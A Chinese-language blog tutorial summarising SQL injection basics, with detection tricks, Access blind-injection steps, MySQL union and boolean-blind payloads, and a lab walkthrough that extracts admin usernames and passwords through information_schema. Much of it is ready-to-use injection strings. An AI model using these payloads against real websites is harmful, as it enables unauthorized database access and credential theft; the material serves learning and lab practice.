SQL注入基础总结

一、什么是SQL注入?

答:SQL注入是比较常见的网络攻击方式之一,它不是利用OS的BUG来实现攻击,而是针对程序员编写时的疏忽,通过SQL语句实现无账号登陆,甚至篡改数据库。

二、SQL注入的原理?

答:SQL注入攻击通过构建特殊的输入语句作为参数传入web应用程序,指的是服务器对用户输入数据过滤不严,导致服务器SQL语句被恶意篡改并成功

在这里插入图片描述

SQL注入的危害?

当我们访问动态网页时, Web 服务器会向数据访问层发起 Sql 查询请求,如果权限验证通过就会执行 Sql 语句。

SQL注入带来的危害主要有如下几点:

  1. 猜解数据库(这是利用最多的方式)盗取网站敏感信息。
  2. 绕过验证,例如绕过验证登陆进入网站后台
  3. 注入可以借助数据库的存储过程进行提权等操作
  4. 管理员账号被篡改
  5. 网页被挂马
  6. 服务器被远程控制,被安装后门
  7. 破坏硬盘数据,瘫痪全系统

三、SQL注入攻击的总体思路

  • 寻找SQL注入位置
  • 判断服务器类型和后台数据库类型
  • 针对不同服务器和数据库特点进行SQL注入攻击

SQL注入条件:

1、必须有参数传递

2、参数值带入数据库查询并执行 and 1=1 返回正确 and 1=2返回错误

大概判断是否存在注入点:

  1. 如果参数(id)是数字,测试id=2-1 与id=1返回结果是否相同,如果做了2-1的运算,说明可能存在数字型注入。如果要用+号运算,因为URL编码的问题,可能需要把+号换成%2B,例如 id=1%2B1
  2. 在参数后面加单引号或者双引号,判断返回结果是否有报错
  3. 添加注释符,判断前后是否有报错,例如 id=1’ # 或者 id=1’ --+(后面跟+是把+当成空格使用)
  4. 有些参数可能在括号里面,如:SELECT first_name,last_name FROM user where user idd=(’$id’);所以也可以在参数后面加单双引号加括号如 id=1’) --+或者 id=1")–+
  5. 参数后面跟or 或者 and,判断结果是否有变化
  6. 如果回显正确和报错都是一样的界面,可以考虑时间延迟的方式判断是否存在注入,如 1’ and sleep(5) (延迟5m)

SQL注入分类按数据类型分为俩类)

  • 数字型SQL注入
  • 字符型SQL注入

按注入点分:

  • 请求参数注入:修改GET、POST中的参数
  • URL注入
  • 盲注
  • cookie注入
  • HTTP头消息注入
  1. X-Forwarded-For:是一个HTTP扩展头部,主要是为了让WEB服务器获取访问用户的真实IP。
  2. User-agert:用户代理头信息,记录了客户的软件程序相关信息
  3. Refer:记录了请求来源(记录了你是从哪里跳转过来的)
  • 延时注入
  • 报错型注入

四、常见的数据库

Access:体积小,速度快,但很少见,多用于久远的小型数据库,常与asp搭配。

MySQL:体积小、速度快、功能简洁,多用于小型数据库,常与PHP / Java搭配。

SqlServer:较MySQL稍显复杂,功能也更为强大(也意味着攻击面更广),多用于中型数据库,常与.NET搭配。

Oracle:体积大、结构复杂、安全性高,多用于大型数据库,常与Java搭配。

......

五、ASP的ACCESS数据库SQL注入入门

access数据库

是一种非常简单但是功能完整的数据库,很适合小型网站创建,可以很轻松管理表和列,有很多管理工具。

access注入基本流程?

  • 判断有没有注入点
  • 猜解表名
  • 猜解字段
  • 猜解管理员ID值
  • 猜解用户名和密码长度
  • 猜解用户名和密码

ASP的数据库:SQL sever或者access

联合查询法(速度快、兼容性不好)

  1. ​ and 1=1 、 and 1=2——判断注入
  2. ​ order by …(猜有多少列order by 5回显正确,order by 6报错,则表示有五列)
  3. ​ union select 1,2,3,4,5 from admin(猜表名,如果报错就说明表名不存在,将admin换成别的)
  4. ​ union select 1,2,username,4,password(在数字3,5有回显位即在回显位上进行猜解字段)

access数据库盲注?

判断是什么数据库?

​ SQL sever或者access(回显正常是SQL sever回显不正常是access)语句如1

先找数据传参的地方,寻找注入点。

1、用来判断数据库

and (select count(*) from msysobjects)>0
回显错误,证明该数据库为access数据
或者
and exists(select * from msysobjects)>0
回显成功/根据回显消息提示,没有读取数据权限,即该数据库为access

2、查表名,回显正确即表示存在表名admin

and 0<>(select count(*)from andmin) 或者 and exists(select * from admin)

3、判断管理员账号数目(>1回显正确 >2报错 即表示存在一个管理员账号)

and (select count(*) from admin)>0(数字可以修改)

4、查询admin下的adminuid(通过F12查看源代码猜测)是否存在

and 1=(select count(*)from admin where len (adminuid)>0)

判断存在后猜测字段长(=5时回显正确,即字段长=5)

and 1=(select count(*)from admin where len (adminuid)=5)

5、判断密码的字段长(当字段长=16时回显正常)

and 1=(select count(*)from admin where len (adminpwd)>0)

以上可知管理员账号:admin 密码为16位md加密

ASCII码

6、验证账号为admin

一位一位的用大于等于号判断

and (select top 1 asc(mid(adminuid,1,1))from admin)=55

and (select top 1 asc(mid(adminuid,2,1))from admin)=97

and (select top 1 asc(mid(adminuid,3,1))from admin)>1 …

7、一步一步猜解密码16为7a57a5a743894a0e(解密为admin)

and (select top 1 asc(mid(adminpwd,1,1))from admin)>1

and (select top 1 asc(mid(adminpwd,2,1))from admin)>1 …

六、MYSQL数据库

在MySQL注入中常用的注释方式:

注释 说明
# 单行注释 URL编码 %23,在URL框直接使用中#号必须用%23来表示,#在URL框中有特定含义,代表锚点
–空格 单行注释 ,实际使用中–空格用–+来表示。因为在URL框中,浏览器在发送请求的时候会把URL末尾的空格舍去,所以用–+代替–空格

在MySQL 5.0及以上版本中,提供了以下元数据信息(这里列出常用的):

  • information_schema:系统数据库,包含所有数据库的相关信息
  • information_schema.tables:table_name记录了所有的表名
  • information_schema.column:column_name记录了所有列名
  • information_schema.schemata:schema_name记录了所有数据库名

常用的字符串连接函数:

  • concat(str1,str2,…):连接字符串
  • concat_ws(separator,str1,str2,…):使用分隔符连接字符串
  • group_concat(str1,str2,…):连接一个组的所有字符串,并以逗号分隔每一条数据

MYSQL数据库查询顺序:数据库名称-表名-字段-字段内容

猜解字段数

order by(SQL中的排序语法,表示对第几列进行排序)进行 猜解:

1' or 1 order by 1 #		# 查询成功 
# "select * from table where id='1' or 1 order by 1 # '" 
1' or 1 order by 2 #		# 查询成功 
1' or 1 order by 3 #		# 查询失败 
#表示该数据库存在2列,x从1开始往下尝试,到第几列失败则表明第几列不存在

确定回显字段

数据库查询的时候并不是都有回显的,没有回显的时候或者所有字段均不回显的情况,我们就需要用到其他SQL注入手段,例如盲注、延时注入、报错注入等

1’ union select 1,2 #

华哥靶场wp的playload:

步骤:
index.php?id=1 and 1=1
order by 5
UNION SELECT 
#先知道库名、版本(记录下来)
version()user()database()
#知道数据库后查表名
UNION SELECT 1,table_name,3,4,5 from information_schema.tables where table_schema=‘hackyl’
#因为有php魔术引号所以要转义,小葵转码(hackyl)
UNION SELECT 1,group_concat(table_name),3,4,5 from infomation_schema.tables where table_schema=‘hackyl’
UNION SELECT 1,group_concat(column_name),3,4,5 from infomation_schema.columns where table_name=userUNION SELECT 1,username,password,4,5 from user

7、布尔盲注

布尔盲注的利用场景:在注入时无回显,无报错,通过页面观察正确SQL与错误SQL语句执行结果的不同

常用函数

函数 描述
left(str, len) 从左边截取指定长度的字符串
length(str) 获取字符串长度
ascii(str) 将指定字符串进行ascii编码
substr(str, start, len) 截取字符串,可以指定起始位置和长度
mid(str, start, len) 截取字符串,可以指定起始位置和长度
count() 返回匹配条件的行数
sleep(n) 将程序挂起n秒
if(param1, param2, param3) param1作为条件,当其返回结果为true时,执行param2,否则执行param3

华哥靶场wp的playload:

  • 1
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

1erkeU

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值